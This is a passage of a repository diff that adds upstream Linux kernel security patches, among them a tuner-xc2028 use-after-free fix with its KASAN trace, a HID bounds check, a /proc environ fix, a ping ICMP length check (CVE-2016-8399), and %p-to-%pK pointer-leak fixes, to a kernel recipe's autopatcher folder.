__asan_report_load1_noabort+0x43/0x50 +[11009.908074] INFO: Freed in xc2028_set_config+0x90/0x630 [tuner_xc2028] age=1 cpu=3 pid=28992 +[11009.908077] __slab_free+0x2ec/0x460 +[11009.908080] kfree+0x266/0x280 +[11009.908083] xc2028_set_config+0x90/0x630 [tuner_xc2028] +[11009.908086] xc2028_attach+0x310/0x8a0 [tuner_xc2028] +[11009.908090] em28xx_attach_xc3028.constprop.7+0x1f9/0x30d [em28xx_dvb] +[11009.908094] em28xx_dvb_init.part.3+0x8e4/0x5cf4 [em28xx_dvb] +[11009.908098] em28xx_dvb_init+0x81/0x8a [em28xx_dvb] +[11009.908101] em28xx_register_extension+0xd9/0x190 [em28xx] +[11009.908105] em28xx_dvb_register+0x10/0x1000 [em28xx_dvb] +[11009.908108] do_one_initcall+0x141/0x300 +[11009.908111] do_init_module+0x1d0/0x5ad +[11009.908114] load_module+0x6666/0x9ba0 +[11009.908117] SyS_finit_module+0x108/0x130 +[11009.908120] entry_SYSCALL_64_fastpath+0x16/0x76 +[11009.908123] INFO: Slab 0xffffea000ef5e280 objects=25 used=25 fp=0x (null) flags=0x2ffff8000004080 +[11009.908126] INFO: Object 0xffff8803bd78ab40 @offset=2880 fp=0x0000000000000001 + +[11009.908130] Bytes b4 ffff8803bd78ab30: 01 00 00 00 2a 07 00 00 9d 28 00 00 01 00 00 00 ....*....(...... +[11009.908133] Object ffff8803bd78ab40: 01 00 00 00 00 00 00 00 b0 1d c3 6a 00 88 ff ff ...........j.... +[11009.908137] CPU: 3 PID: 28992 Comm: modprobe Tainted: G B W 4.5.0-rc1+ #43 +[11009.908140] Hardware name: /NUC5i7RYB, BIOS RYBDWi35.86A.0350.2015.0812.1722 08/12/2015 +[11009.908142] ffff8803bd78a000 ffff8802c273f1b8 ffffffff81932007 ffff8803c6407a80 +[11009.908148] ffff8802c273f1e8 ffffffff81556759 ffff8803c6407a80 ffffea000ef5e280 +[11009.908153] ffff8803bd78ab40 dffffc0000000000 ffff8802c273f210 ffffffff8155ccb4 +[11009.908158] Call Trace: +[11009.908162] [] dump_stack+0x4b/0x64 +[11009.908165] [] print_trailer+0xf9/0x150 +[11009.908168] [] object_err+0x34/0x40 +[11009.908171] [] kasan_report_error+0x230/0x550 +[11009.908175] [] ? trace_hardirqs_off_caller+0x21/0x290 +[11009.908179] [] ? kasan_unpoison_shadow+0x36/0x50 +[11009.908182] [] __asan_report_load1_noabort+0x43/0x50 +[11009.908185] [] ? __asan_register_globals+0x50/0xa0 +[11009.908189] [] ? strcmp+0x96/0xb0 +[11009.908192] [] strcmp+0x96/0xb0 +[11009.908196] [] xc2028_set_config+0x15c/0x630 [tuner_xc2028] +[11009.908200] [] xc2028_attach+0x310/0x8a0 [tuner_xc2028] +[11009.908203] [] ? memset+0x28/0x30 +[11009.908206] [] ? xc2028_set_config+0x630/0x630 [tuner_xc2028] +[11009.908211] [] em28xx_attach_xc3028.constprop.7+0x1f9/0x30d [em28xx_dvb] +[11009.908215] [] ? em28xx_dvb_init.part.3+0x37c/0x5cf4 [em28xx_dvb] +[11009.908219] [] ? hauppauge_hvr930c_init+0x487/0x487 [em28xx_dvb] +[11009.908222] [] ? lgdt330x_attach+0x1cc/0x370 [lgdt330x] +[11009.908226] [] ? i2c_read_demod_bytes.isra.2+0x210/0x210 [lgdt330x] +[11009.908230] [] ? ref_module.part.15+0x10/0x10 +[11009.908233] [] ? module_assert_mutex_or_preempt+0x80/0x80 +[11009.908238] [] em28xx_dvb_init.part.3+0x8e4/0x5cf4 [em28xx_dvb] +[11009.908242] [] ? em28xx_attach_xc3028.constprop.7+0x30d/0x30d [em28xx_dvb] +[11009.908245] [] ? string+0x14d/0x1f0 +[11009.908249] [] ? symbol_string+0xff/0x1a0 +[11009.908253] [] ? uuid_string+0x6f0/0x6f0 +[11009.908257] [] ? __kernel_text_address+0x7e/0xa0 +[11009.908260] [] ? print_context_stack+0x7f/0xf0 +[11009.908264] [] ? __module_address+0xb6/0x360 +[11009.908268] [] ? is_ftrace_trampoline+0x99/0xe0 +[11009.908271] [] ? __kernel_text_address+0x7e/0xa0 +[11009.908275] [] ? debug_check_no_locks_freed+0x290/0x290 +[11009.908278] [] ? dump_trace+0x11b/0x300 +[11009.908282] [] ? em28xx_register_extension+0x23/0x190 [em28xx] +[11009.908285] [] ? trace_hardirqs_off_caller+0x21/0x290 +[11009.908289] [] ? trace_hardirqs_on_caller+0x16/0x590 +[11009.908292] [] ? trace_hardirqs_on+0xd/0x10 +[11009.908296] [] ? em28xx_register_extension+0x23/0x190 [em28xx] +[11009.908299] [] ? mutex_trylock+0x400/0x400 +[11009.908302] [] ? do_one_initcall+0x131/0x300 +[11009.908306] [] ? call_rcu_sched+0x17/0x20 +[11009.908309] [] ? put_object+0x48/0x70 +[11009.908314] [] em28xx_dvb_init+0x81/0x8a [em28xx_dvb] +[11009.908317] [] em28xx_register_extension+0xd9/0x190 [em28xx] +[11009.908320] [] ? 0xffffffffa0150000 +[11009.908324] [] em28xx_dvb_register+0x10/0x1000 [em28xx_dvb] +[11009.908327] [] do_one_initcall+0x141/0x300 +[11009.908330] [] ? try_to_run_init_process+0x40/0x40 +[11009.908333] [] ? trace_hardirqs_on_caller+0x16/0x590 +[11009.908337] [] ? kasan_unpoison_shadow+0x36/0x50 +[11009.908340] [] ? kasan_unpoison_shadow+0x36/0x50 +[11009.908343] [] ? kasan_unpoison_shadow+0x36/0x50 +[11009.908346] [] ? __asan_register_globals+0x87/0xa0 +[11009.908350] [] do_init_module+0x1d0/0x5ad +[11009.908353] [] load_module+0x6666/0x9ba0 +[11009.908356] [] ? symbol_put_addr+0x50/0x50 +[11009.908361] [] ? em28xx_dvb_init.part.3+0x5989/0x5cf4 [em28xx_dvb] +[11009.908366] [] ? module_frob_arch_sections+0x20/0x20 +[11009.908369] [] ? open_exec+0x50/0x50 +[11009.908374] [] ? ns_capable+0x5b/0xd0 +[11009.908377] [] SyS_finit_module+0x108/0x130 +[11009.908379] [] ? SyS_init_module+0x1f0/0x1f0 +[11009.908383] [] ? lockdep_sys_exit_thunk+0x12/0x14 +[11009.908394] [] entry_SYSCALL_64_fastpath+0x16/0x76 +[11009.908396] Memory state around the buggy address: +[11009.908398] ffff8803bd78aa00: 00 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[11009.908401] ffff8803bd78aa80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[11009.908403] >ffff8803bd78ab00: fc fc fc fc fc fc fc fc 00 00 fc fc fc fc fc fc +[11009.908405] ^ +[11009.908407] ffff8803bd78ab80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[11009.908409] ffff8803bd78ac00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[11009.908411] ================================================================== + +In order to avoid it, let's set the cached value of the firmware +name to NULL after freeing it. While here, return an error if +the memory allocation fails. + +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/tuners/tuner-xc2028.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/tuners/tuner-xc2028.c b/drivers/media/tuners/tuner-xc2028.c +index 4e941f00b600..082ff5608455 100644 +--- a/drivers/media/tuners/tuner-xc2028.c ++++ b/drivers/media/tuners/tuner-xc2028.c +@@ -1403,11 +1403,12 @@ static int xc2028_set_config(struct dvb_frontend *fe, void *priv_cfg) + * in order to avoid troubles during device release. + */ + kfree(priv->ctrl.fname); ++ priv->ctrl.fname = NULL; + memcpy(&priv->ctrl, p, sizeof(priv->ctrl)); + if (p->fname) { + priv->ctrl.fname = kstrdup(p->fname, GFP_KERNEL); + if (priv->ctrl.fname == NULL) +- rc = -ENOMEM; ++ return -ENOMEM; + } + + /* +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0293.diff b/recipes-kernel/linux/linux-bass/autopatcher/0293.diff new file mode 100644 index 0000000..348316d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0293.diff @@ -0,0 +1,26 @@ +diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c +index 5b3e4cf..9370a7a 100644 +--- a/drivers/hid/hid-core.c ++++ b/drivers/hid/hid-core.c +@@ -1138,6 +1138,7 @@ + /* Ignore report if ErrorRollOver */ + if (!(field->flags & HID_MAIN_ITEM_VARIABLE) && + value[n] >= min && value[n] <= max && ++ value[n] - min < field->maxusage && + field->usage[value[n] - min].hid == HID_UP_KEYBOARD + 1) + goto exit; + } +@@ -1150,11 +1151,13 @@ + } + + if (field->value[n] >= min && field->value[n] <= max ++ && field->value[n] - min < field->maxusage + && field->usage[field->value[n] - min].hid + && search(value, field->value[n], count)) + hid_process_event(hid, field, &field->usage[field->value[n] - min], 0, interrupt); + + if (value[n] >= min && value[n] <= max ++ && value[n] - min < field->maxusage + && field->usage[value[n] - min].hid + && search(field->value, value[n], count)) + hid_process_event(hid, field, &field->usage[value[n] - min], 1, interrupt); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0294-5210e2409a23-proc prevent accessing procPIDenviron until its ready.patch b/recipes-kernel/linux/linux-bass/autopatcher/0294-5210e2409a23-proc prevent accessing procPIDenviron until its ready.patch new file mode 100644 index 0000000..f1bf9bf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0294-5210e2409a23-proc prevent accessing procPIDenviron until its ready.patch @@ -0,0 +1,60 @@ +From 5210e2409a2350a9cdf1871bddc1b3e94879f017 Mon Sep 17 00:00:00 2001 +From: Mathias Krause +Date: Thu, 5 May 2016 16:22:26 -0700 +Subject: proc: prevent accessing /proc//environ until it's ready + +commit 8148a73c9901a8794a50f950083c00ccf97d43b3 upstream. + +If /proc//environ gets read before the envp[] array is fully set up +in create_{aout,elf,elf_fdpic,flat}_tables(), we might end up trying to +read more bytes than are actually written, as env_start will already be +set but env_end will still be zero, making the range calculation +underflow, allowing to read beyond the end of what has been written. + +Fix this as it is done for /proc//cmdline by testing env_end for +zero. It is, apparently, intentionally set last in create_*_tables(). + +This bug was found by the PaX size_overflow plugin that detected the +arithmetic underflow of 'this_len = env_end - (env_start + src)' when +env_end is still zero. + +The expected consequence is that userland trying to access +/proc//environ of a not yet fully set up process may get +inconsistent data as we're in the middle of copying in the environment +variables. + +Fixes: https://forums.grsecurity.net/viewtopic.php?f=3&t=4363 +Fixes: https://bugzilla.kernel.org/show_bug.cgi?id=116461 +Signed-off-by: Mathias Krause +Cc: Emese Revfy +Cc: Pax Team +Cc: Al Viro +Cc: Mateusz Guzik +Cc: Alexey Dobriyan +Cc: Cyrill Gorcunov +Cc: Jarod Wilson +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + fs/proc/base.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/fs/proc/base.c b/fs/proc/base.c +index 7b5d453ebf53..e5160b744d0b 100644 +--- a/fs/proc/base.c ++++ b/fs/proc/base.c +@@ -844,7 +844,8 @@ static ssize_t environ_read(struct file *file, char __user *buf, + int ret = 0; + struct mm_struct *mm = file->private_data; + +- if (!mm) ++ /* Ensure the process spawned far enough to have an environment. */ ++ if (!mm || !mm->env_end) + return 0; + + page = (char *)__get_free_page(GFP_TEMPORARY); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0295-0eab121ef875-net ping check minimum size on ICMP header length.patch b/recipes-kernel/linux/linux-bass/autopatcher/0295-0eab121ef875-net ping check minimum size on ICMP header length.patch new file mode 100644 index 0000000..d701daf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0295-0eab121ef875-net ping check minimum size on ICMP header length.patch @@ -0,0 +1,71 @@ +From 0eab121ef8750a5c8637d51534d5e9143fb0633f Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Mon, 5 Dec 2016 10:34:38 -0800 +Subject: net: ping: check minimum size on ICMP header length + +Prior to commit c0371da6047a ("put iov_iter into msghdr") in v3.19, there +was no check that the iovec contained enough bytes for an ICMP header, +and the read loop would walk across neighboring stack contents. Since the +iov_iter conversion, bad arguments are noticed, but the returned error is +EFAULT. Returning EINVAL is a clearer error and also solves the problem +prior to v3.19. + +This was found using trinity with KASAN on v3.18: + +BUG: KASAN: stack-out-of-bounds in memcpy_fromiovec+0x60/0x114 at addr ffffffc071077da0 +Read of size 8 by task trinity-c2/9623 +page:ffffffbe034b9a08 count:0 mapcount:0 mapping: (null) index:0x0 +flags: 0x0() +page dumped because: kasan: bad access detected +CPU: 0 PID: 9623 Comm: trinity-c2 Tainted: G BU 3.18.0-dirty #15 +Hardware name: Google Tegra210 Smaug Rev 1,3+ (DT) +Call trace: +[] dump_backtrace+0x0/0x1ac arch/arm64/kernel/traps.c:90 +[] show_stack+0x10/0x1c arch/arm64/kernel/traps.c:171 +[< inline >] __dump_stack lib/dump_stack.c:15 +[] dump_stack+0x7c/0xd0 lib/dump_stack.c:50 +[< inline >] print_address_description mm/kasan/report.c:147 +[< inline >] kasan_report_error mm/kasan/report.c:236 +[] kasan_report+0x380/0x4b8 mm/kasan/report.c:259 +[< inline >] check_memory_region mm/kasan/kasan.c:264 +[] __asan_load8+0x20/0x70 mm/kasan/kasan.c:507 +[] memcpy_fromiovec+0x5c/0x114 lib/iovec.c:15 +[< inline >] memcpy_from_msg include/linux/skbuff.h:2667 +[] ping_common_sendmsg+0x50/0x108 net/ipv4/ping.c:674 +[] ping_v4_sendmsg+0xd8/0x698 net/ipv4/ping.c:714 +[] inet_sendmsg+0xe0/0x12c net/ipv4/af_inet.c:749 +[< inline >] __sock_sendmsg_nosec net/socket.c:624 +[< inline >] __sock_sendmsg net/socket.c:632 +[] sock_sendmsg+0x124/0x164 net/socket.c:643 +[< inline >] SYSC_sendto net/socket.c:1797 +[] SyS_sendto+0x178/0x1d8 net/socket.c:1761 + +CVE-2016-8399 + +Reported-by: Qidan He +Fixes: c319b4d76b9e ("net: ipv4: add IPPROTO_ICMP socket kind") +Cc: stable@vger.kernel.org +Signed-off-by: Kees Cook +Signed-off-by: David S. Miller +--- + net/ipv4/ping.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c +index 205e2000d3950..96b8e2b957313 100644 +--- a/net/ipv4/ping.c ++++ b/net/ipv4/ping.c +@@ -657,6 +657,10 @@ int ping_common_sendmsg(int family, struct msghdr *msg, size_t len, + if (len > 0xFFFF) + return -EMSGSIZE; + ++ /* Must have at least a full ICMP header. */ ++ if (len < icmph_len) ++ return -EINVAL; ++ + /* + * Check the flags. + */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0296-44a8e527e156-PATCH ion blacklist p kptrrestrict.patch b/recipes-kernel/linux/linux-bass/autopatcher/0296-44a8e527e156-PATCH ion blacklist p kptrrestrict.patch new file mode 100644 index 0000000..d04d8b5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0296-44a8e527e156-PATCH ion blacklist p kptrrestrict.patch @@ -0,0 +1,42 @@ +From 44a8e527e156245eff04ff36f426cb1ba8d23e34 Mon Sep 17 00:00:00 2001 +From: Nick Desaulniers +Date: Fri, 7 Oct 2016 11:51:15 -0700 +Subject: [PATCH] ion: blacklist %p kptr_restrict + +Bug: 31494725 +Change-Id: I10a0c2aae883dfaa6c235c38689a704064557008 +--- + drivers/staging/android/ion/ion.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/staging/android/ion/ion.c b/drivers/staging/android/ion/ion.c +index a215fd4a5c411..0a5522d308c74 100755 +--- a/drivers/staging/android/ion/ion.c ++++ b/drivers/staging/android/ion/ion.c +@@ -803,7 +803,7 @@ static int ion_debug_client_show(struct seq_file *s, void *unused) + struct ion_handle *handle = rb_entry(n, struct ion_handle, + node); + +- seq_printf(s, "%16.16s: %16zx : %16d : %12p", ++ seq_printf(s, "%16.16s: %16zx : %16d : %12pK", + handle->buffer->heap->name, + handle->buffer->size, + atomic_read(&handle->ref.refcount), +@@ -1159,7 +1159,7 @@ static void ion_vm_open(struct vm_area_struct *vma) + mutex_lock(&buffer->lock); + list_add(&vma_list->list, &buffer->vmas); + mutex_unlock(&buffer->lock); +- pr_debug("%s: adding %p\n", __func__, vma); ++ pr_debug("%s: adding %pK\n", __func__, vma); + } + + static void ion_vm_close(struct vm_area_struct *vma) +@@ -1174,7 +1174,7 @@ static void ion_vm_close(struct vm_area_struct *vma) + continue; + list_del(&vma_list->list); + kfree(vma_list); +- pr_debug("%s: deleting %p\n", __func__, vma); ++ pr_debug("%s: deleting %pK\n", __func__, vma); + break; + } + mutex_unlock(&buffer->lock); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0297-de51c6f363b8-PATCH binder blacklist p kptrrestrict.patch b/recipes-kernel/linux/linux-bass/autopatcher/0297-de51c6f363b8-PATCH binder blacklist p kptrrestrict.patch new file mode 100644 index 0000000..d91bcad --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0297-de51c6f363b8-PATCH binder blacklist p kptrrestrict.patch @@ -0,0 +1,176 @@ +From de51c6f363b8ba7c513e8a5bbae3459571966bfd Mon Sep 17 00:00:00 2001 +From: Nick Desaulniers +Date: Fri, 7 Oct 2016 11:13:55 -0700 +Subject: [PATCH] binder: blacklist %p kptr_restrict + +Bug: 31495231 +Change-Id: Iebc150f6bc939b56e021424ee44fb30ce8d732fd +--- + drivers/staging/android/binder.c | 36 ++++++++++++++++++------------------ + 1 file changed, 18 insertions(+), 18 deletions(-) + +diff --git a/drivers/staging/android/binder.c b/drivers/staging/android/binder.c +index 8c9945d071476..7340ef74433a5 100644 +--- a/drivers/staging/android/binder.c ++++ b/drivers/staging/android/binder.c +@@ -534,7 +534,7 @@ static void binder_insert_free_buffer(struct binder_proc *proc, + new_buffer_size = binder_buffer_size(proc, new_buffer); + + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: add free buffer, size %zd, at %p\n", ++ "%d: add free buffer, size %zd, at %pK\n", + proc->pid, new_buffer_size, new_buffer); + + while (*p) { +@@ -613,7 +613,7 @@ static int binder_update_page_range(struct binder_proc *proc, int allocate, + struct mm_struct *mm; + + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: %s pages %p-%p\n", proc->pid, ++ "%d: %s pages %pK-%pK\n", proc->pid, + allocate ? "allocate" : "free", start, end); + + if (end <= start) +@@ -655,7 +655,7 @@ static int binder_update_page_range(struct binder_proc *proc, int allocate, + BUG_ON(*page); + *page = alloc_page(GFP_KERNEL | __GFP_HIGHMEM | __GFP_ZERO); + if (*page == NULL) { +- pr_err("%d: binder_alloc_buf failed for page at %p\n", ++ pr_err("%d: binder_alloc_buf failed for page at %pK\n", + proc->pid, page_addr); + goto err_alloc_page_failed; + } +@@ -664,7 +664,7 @@ static int binder_update_page_range(struct binder_proc *proc, int allocate, + page_array_ptr = page; + ret = map_vm_area(&tmp_area, PAGE_KERNEL, &page_array_ptr); + if (ret) { +- pr_err("%d: binder_alloc_buf failed to map page at %p in kernel\n", ++ pr_err("%d: binder_alloc_buf failed to map page at %pK in kernel\n", + proc->pid, page_addr); + goto err_map_kernel_failed; + } +@@ -774,7 +774,7 @@ static struct binder_buffer *binder_alloc_buf(struct binder_proc *proc, + } + + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: binder_alloc_buf size %zd got buffer %p size %zd\n", ++ "%d: binder_alloc_buf size %zd got buffer %pK size %zd\n", + proc->pid, size, buffer, buffer_size); + + has_page_addr = +@@ -803,7 +803,7 @@ static struct binder_buffer *binder_alloc_buf(struct binder_proc *proc, + binder_insert_free_buffer(proc, new_buffer); + } + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: binder_alloc_buf size %zd got %p\n", ++ "%d: binder_alloc_buf size %zd got %pK\n", + proc->pid, size, buffer); + buffer->data_size = data_size; + buffer->offsets_size = offsets_size; +@@ -843,7 +843,7 @@ static void binder_delete_free_buffer(struct binder_proc *proc, + if (buffer_end_page(prev) == buffer_end_page(buffer)) + free_page_end = 0; + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: merge free, buffer %p share page with %p\n", ++ "%d: merge free, buffer %pK share page with %pK\n", + proc->pid, buffer, prev); + } + +@@ -856,14 +856,14 @@ static void binder_delete_free_buffer(struct binder_proc *proc, + buffer_start_page(buffer)) + free_page_start = 0; + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: merge free, buffer %p share page with %p\n", ++ "%d: merge free, buffer %pK share page with %pK\n", + proc->pid, buffer, prev); + } + } + list_del(&buffer->entry); + if (free_page_start || free_page_end) { + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: merge free, buffer %p do not share page%s%s with %p or %p\n", ++ "%d: merge free, buffer %pK do not share page%s%s with %pK or %pK\n", + proc->pid, buffer, free_page_start ? "" : " end", + free_page_end ? "" : " start", prev, next); + binder_update_page_range(proc, 0, free_page_start ? +@@ -884,7 +884,7 @@ static void binder_free_buf(struct binder_proc *proc, + ALIGN(buffer->offsets_size, sizeof(void *)); + + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%d: binder_free_buf %p size %zd buffer_size %zd\n", ++ "%d: binder_free_buf %pK size %zd buffer_size %zd\n", + proc->pid, buffer, size, buffer_size); + + BUG_ON(buffer->free); +@@ -1311,7 +1311,7 @@ static void binder_transaction_buffer_release(struct binder_proc *proc, + int debug_id = buffer->debug_id; + + binder_debug(BINDER_DEBUG_TRANSACTION, +- "%d buffer release %d, size %zd-%zd, failed at %p\n", ++ "%d buffer release %d, size %zd-%zd, failed at %pK\n", + proc->pid, buffer->debug_id, + buffer->data_size, buffer->offsets_size, failed_at); + +@@ -2159,7 +2159,7 @@ static int binder_thread_write(struct binder_proc *proc, + } + } + binder_debug(BINDER_DEBUG_DEAD_BINDER, +- "%d:%d BC_DEAD_BINDER_DONE %016llx found %p\n", ++ "%d:%d BC_DEAD_BINDER_DONE %016llx found %pK\n", + proc->pid, thread->pid, (u64)cookie, death); + if (death == NULL) { + binder_user_error("%d:%d BC_DEAD_BINDER_DONE %016llx not found\n", +@@ -2907,7 +2907,7 @@ static int binder_mmap(struct file *filp, struct vm_area_struct *vma) + #ifdef CONFIG_CPU_CACHE_VIPT + if (cache_is_vipt_aliasing()) { + while (CACHE_COLOUR((vma->vm_start ^ (uint32_t)proc->buffer))) { +- pr_info("binder_mmap: %d %lx-%lx maps %p bad alignment\n", proc->pid, vma->vm_start, vma->vm_end, proc->buffer); ++ pr_info("binder_mmap: %d %lx-%lx maps %pK bad alignment\n", proc->pid, vma->vm_start, vma->vm_end, proc->buffer); + vma->vm_start += PAGE_SIZE; + } + } +@@ -2943,7 +2943,7 @@ static int binder_mmap(struct file *filp, struct vm_area_struct *vma) + proc->vma = vma; + proc->vma_vm_mm = vma->vm_mm; + +- /*pr_info("binder_mmap: %d %lx-%lx maps %p\n", ++ /*pr_info("binder_mmap: %d %lx-%lx maps %pK\n", + proc->pid, vma->vm_start, vma->vm_end, proc->buffer);*/ + return 0; + +@@ -3165,7 +3165,7 @@ static void binder_deferred_release(struct binder_proc *proc) + + page_addr = proc->buffer + i * PAGE_SIZE; + binder_debug(BINDER_DEBUG_BUFFER_ALLOC, +- "%s: %d: page %d at %p not freed\n", ++ "%s: %d: page %d at %pK not freed\n", + __func__, proc->pid, i, page_addr); + unmap_kernel_range((unsigned long)page_addr, PAGE_SIZE); + __free_page(proc->pages[i]); +@@ -3249,7 +3249,7 @@ static void print_binder_transaction(struct seq_file *m, const char *prefix, + struct binder_transaction *t) + { + seq_printf(m, +- "%s %d: %p from %d:%d to %d:%d code %x flags %x pri %ld r%d", ++ "%s %d: %pK from %d:%d to %d:%d code %x flags %x pri %ld r%d", + prefix, t->debug_id, t, + t->from ? t->from->proc->pid : 0, + t->from ? t->from->pid : 0, +@@ -3263,7 +3263,7 @@ static void print_binder_transaction(struct seq_file *m, const char *prefix, + if (t->buffer->target_node) + seq_printf(m, " node %d", + t->buffer->target_node->debug_id); +- seq_printf(m, " size %zd:%zd data %p\n", ++ seq_printf(m, " size %zd:%zd data %pK\n", + t->buffer->data_size, t->buffer->offsets_size, + t->buffer->data); + } +@@ -3271,7 +3271,7 @@ static void print_binder_transaction(struct seq_file *m, const char *prefix, + static void print_binder_buffer(struct seq_file *m, const char *prefix, + struct binder_buffer *buffer) + { +- seq_printf(m, "%s %d: %p size %zd:%zd %s\n", ++ seq_printf(m, "%s %d: %pK size %zd:%zd %s\n", + prefix, buffer->debug_id, buffer->data, + buffer->data_size, buffer->offsets_size, + buffer->transaction ? "active" : "delivered"); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0298-232ec805c7cc-usb diag prevent showing the address of kernel variable port.patch b/recipes-kernel/linux/linux-bass/autopatcher/0298-232ec805c7cc-usb diag prevent showing the address of kernel variable port.patch new file mode 100644 index 0000000..e525626 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0298-232ec805c7cc-usb diag prevent showing the address of kernel variable port.patch @@ -0,0 +1,32 @@ +From 232ec805c7cc4150f05aa06a98335378ab272ec7 Mon Sep 17 00:00:00 2001 +From: chengengjia +Date: Wed, 14 Sep 2016 14:10:56 +0800 +Subject: usb: diag: prevent showing the address of kernel variable 'port' + +The format specifier %p can leak kernel address while not valuing the kptr_strict system settings. +The fix is designed to use %pK instead of %p, which also evaluates whether kptr_restrict is set. + +Signed-off-by: chengengjia +Test: compile +Bug: 31496950 +Change-Id: Ib93c0defdd68f4afe46b5a818ce4d1a2b850cf46 +--- + drivers/usb/gadget/u_ctrl_hsic.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/usb/gadget/u_ctrl_hsic.c b/drivers/usb/gadget/u_ctrl_hsic.c +index ff3fbf3..1c5f160 100644 +--- a/drivers/usb/gadget/u_ctrl_hsic.c ++++ b/drivers/usb/gadget/u_ctrl_hsic.c +@@ -557,7 +557,7 @@ static ssize_t gctrl_read_stats(struct file *file, char __user *ubuf, + + temp += scnprintf(buf + temp, DEBUG_BUF_SIZE - temp, + "\nName: %s\n" +- "#PORT:%d port: %p\n" ++ "#PORT:%d port: %pK\n" + "to_usbhost: %lu\n" + "to_modem: %lu\n" + "cpkt_drp_cnt: %lu\n" +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0299-d7a15270ad80-PATCH netfilter Change p to pK in debug messages.patch b/recipes-kernel/linux/linux-bass/autopatcher/0299-d7a15270ad80-PATCH netfilter Change p to pK in debug messages.patch new file mode 100644 index 0000000..1ef8451 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0299-d7a15270ad80-PATCH netfilter Change p to pK in debug messages.patch @@ -0,0 +1,102 @@ +From d7a15270ad80aff21d09aaea9c0e98e03e541b50 Mon Sep 17 00:00:00 2001 +From: Min Chong +Date: Thu, 13 Oct 2016 17:15:35 -0700 +Subject: [PATCH] netfilter: Change %p to %pK in debug messages + +The format specifier %p can leak kernel addresses +while not valuing the kptr_restrict system settings. +Use %pK instead of %p, which also evaluates whether +kptr_restrict is set. + +Bug: 31796940 +Change-Id: Ia2946d6b493126d68281f97778faf578247f088e +Signed-off-by: Min Chong +--- + net/netfilter/nf_conntrack_core.c | 20 ++++++++++---------- + 1 file changed, 10 insertions(+), 10 deletions(-) + +diff --git a/net/netfilter/nf_conntrack_core.c b/net/netfilter/nf_conntrack_core.c +index 1c118edd4b794..d9b86c2e96e24 100644 +--- a/net/netfilter/nf_conntrack_core.c ++++ b/net/netfilter/nf_conntrack_core.c +@@ -188,7 +188,7 @@ EXPORT_SYMBOL_GPL(nf_ct_invert_tuple); + static void + clean_from_lists(struct nf_conn *ct) + { +- pr_debug("clean_from_lists(%p)\n", ct); ++ pr_debug("clean_from_lists(%pK)\n", ct); + hlist_nulls_del_rcu(&ct->tuplehash[IP_CT_DIR_ORIGINAL].hnnode); + hlist_nulls_del_rcu(&ct->tuplehash[IP_CT_DIR_REPLY].hnnode); + +@@ -203,7 +203,7 @@ destroy_conntrack(struct nf_conntrack *nfct) + struct net *net = nf_ct_net(ct); + struct nf_conntrack_l4proto *l4proto; + +- pr_debug("destroy_conntrack(%p)\n", ct); ++ pr_debug("destroy_conntrack(%pK)\n", ct); + NF_CT_ASSERT(atomic_read(&nfct->use) == 0); + NF_CT_ASSERT(!timer_pending(&ct->timeout)); + +@@ -234,7 +234,7 @@ destroy_conntrack(struct nf_conntrack *nfct) + if (ct->master) + nf_ct_put(ct->master); + +- pr_debug("destroy_conntrack: returning ct=%p to slab\n", ct); ++ pr_debug("destroy_conntrack: returning ct=%pK to slab\n", ct); + nf_conntrack_free(ct); + } + +@@ -496,7 +496,7 @@ __nf_conntrack_confirm(struct sk_buff *skb) + /* No external references means no one else could have + confirmed us. */ + NF_CT_ASSERT(!nf_ct_is_confirmed(ct)); +- pr_debug("Confirming conntrack %p\n", ct); ++ pr_debug("Confirming conntrack %pK\n", ct); + + spin_lock_bh(&nf_conntrack_lock); + +@@ -826,7 +826,7 @@ init_conntrack(struct net *net, struct nf_conn *tmpl, + spin_lock_bh(&nf_conntrack_lock); + exp = nf_ct_find_expectation(net, zone, tuple); + if (exp) { +- pr_debug("conntrack: expectation arrives ct=%p exp=%p\n", ++ pr_debug("conntrack: expectation arrives ct=%pK exp=%pK\n", + ct, exp); + /* Welcome, Mr. Bond. We've been expecting you... */ + __set_bit(IPS_EXPECTED_BIT, &ct->status); +@@ -916,14 +916,14 @@ resolve_normal_ct(struct net *net, struct nf_conn 